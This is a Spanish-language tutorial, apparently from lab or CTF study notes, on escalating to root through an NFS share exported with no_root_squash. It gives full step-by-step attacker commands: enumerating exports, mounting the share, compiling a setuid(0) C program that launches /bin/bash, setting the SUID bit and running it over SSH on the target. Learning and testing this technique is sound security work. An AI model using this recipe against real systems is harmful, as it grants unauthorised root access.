NFS (Network File Sharing)

NFS (Network File Sharing) se mantiene en el archivo /etc/exports Este archivo se crea durante la instalación del servidor NFS y normalmente puede ser leído por los usuarios.

La criticidad para la escalda de privilegios aqui reside en el no_root_squash, como se ve arriba. Por defecto, NFS cambiará el usuario root a nfsnobody y eliminará cualquier archivo con privilegios de root. Si la opción no_root_squash está en un recurso compartido con permisos de escritura podemos crear un ejecutable con el bit SUID activado y ejecutarlo en el sistema de destino.

1º Enumerar recursos NFC compartidos

Con la conexión establecida a la maquina victima, nosotros debemos listar las carpetas compartidas desde nuestra maquina de atacante

showmount -e 10.10.200.240 #Victim-IP

Export list for 10.10.200.240:
/home/ubuntu/sharedfolder *
/tmp                      *
/home/backup              *

Utilizaremos el /home/ubuntu/sharedfolder (tengo permiso de lectura y ejecucion)

2º Montar un recurso NFS

En tu maquina de atacante sudo su Dentro de /tmp hacemos la montura :

mkdir /tmp/backattack

Monta el recurso compartido

sudo mount -t nfs 10.10.200.240:/home/ubuntu/sharedfolder /tmp/backattack

or

sudo mount -o rw,nosuid,nodev 10.10.200.240:/home/ubuntu/sharedfolder /tmp/backattack

3º Crear un binario SUID Crea un archivo C en el recurso montado desde tu máquina atacante

cd /tmp/backattack

sudo nano nfs.c

#include <unistd.h>
#include <stdlib.h>

int main() {
    setgid(0);   // Cambiar GID al del usuario root
    setuid(0);   // Cambiar UID al del usuario root
    system("/bin/bash"); // Lanzar un shell
    return 0;
}

Compílalo directamente en el recurso compartido

sudo gcc nfs.c -o nfs -w

or

sudo gcc -static -o nfs nfs.c # X Si da errores

Asigna el bit SUID al binario:

chmod +s nfs

Verifica que se haya creado y dado permisos

ls -l nfs

5º Ejecutar el binario en la maquina victima

Te conectas a la maquina ssh katcus@10.10.200.240

Vamos al /home/ubuntu/sharedfolder y ejecutamos el binario SUID

cd /home/ubuntu/sharedfolder
./nfs

Last updated